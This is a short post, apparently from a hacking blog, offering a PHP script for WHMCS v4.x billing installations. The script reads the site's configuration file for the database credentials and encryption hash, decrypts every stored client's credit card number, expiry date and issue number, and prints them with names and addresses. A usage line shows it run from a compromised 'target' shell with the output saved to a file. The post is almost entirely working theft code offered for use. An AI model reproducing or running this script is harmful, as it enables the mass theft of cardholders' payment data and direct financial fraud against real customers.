Lists all details from table "tblclients"
usage:
©2012, copyright BLACK BURN
PHP Code:
<?php/* WHMCS v4.x.x Credit Card Decrypt
* D33Ds.Co
*/require '../../configuration.php'; //PATH to Configuration$link = mysql_connect($db_host, $db_username, $db_password)
or die("Connection failed: " . mysql_error());mysql_select_db($db_name, $link)
or die("Database selection failed [$db_name]: " . mysql_error());
function getCardInfo($id){
global $cc_encryption_hash;
$aes_key = md5($cc_encryption_hash.$id);
$sql ="SELECT firstname,lastname,address1,address2,city,state,postcode,country,phonenumber,cardtype,AES_DECRYPT(cardnum,'".$aes_key."') as cardnum,AES_DECRYPT(expdate,'".$aes_key."') as expdate,AES_DECRYPT(issuenumber,'".$aes_key."') as issuenumber FROM tblclients WHERE id = $id ";
$rs = mysql_query($sql);
if(!$rs){
echo mysql_error();
}else{
while ($row = mysql_fetch_array($rs)) {
echo $row['firstname']." ".$row['lastname']." | ".$row['address1'].", ".$row['address2'].",".$row['city'].", ".$row['state'].", ".$row['postcode'].", ".$row['country']." | ".$row['cardtype']." | ".$row['cardnum']." | ".$row['expdate']." | ".$row['issuenumber']."\n";
}
}
}
$sql = "SELECT id FROM tblclients WHERE issuenumber != '' ";$rs = mysql_query($sql);
if(!$rs){
echo mysql_error();
}else{
while ($row = mysql_fetch_array($rs)) {
getCardInfo($row['id']);
}
}?>
Code:
shell@target$ php cc_d.php > decrypt.txt
©2012, copyright BLACK BURN
0 comments:
Post a Comment